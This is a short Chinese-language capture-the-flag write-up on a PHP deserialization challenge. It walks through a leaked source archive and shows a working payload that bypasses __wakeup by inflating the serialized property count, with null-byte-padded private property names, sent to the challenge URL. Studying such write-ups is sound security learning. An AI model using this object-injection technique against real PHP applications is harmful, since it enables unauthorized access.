几道php反序列化题目

[极客大挑战 2019]PHP

提示源码泄漏，来用扫描器扫一下
扫出来www.zip，然后下载下来

有五个文件，代码审计一下

这个地方有一个可以反序列化的点，找到类

逻辑很简单，username=admin password=100即可
但是有一个wakeup魔术方法会将我们的username=guest，改对象属性个数绕过即可

本地写个测试文件来找payload

<?php
class Name{
    private $username = ‘nonono‘;
    private $password = ‘yesyes‘;

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = ‘guest‘;
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === ‘admin‘) {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can‘t give you the flag!";
            die();


        }
    }
}

$name = new Name(‘admin‘,‘100‘);
echo serialize($name);

// payload     O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

然后注意是私有属性，别忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

得到flag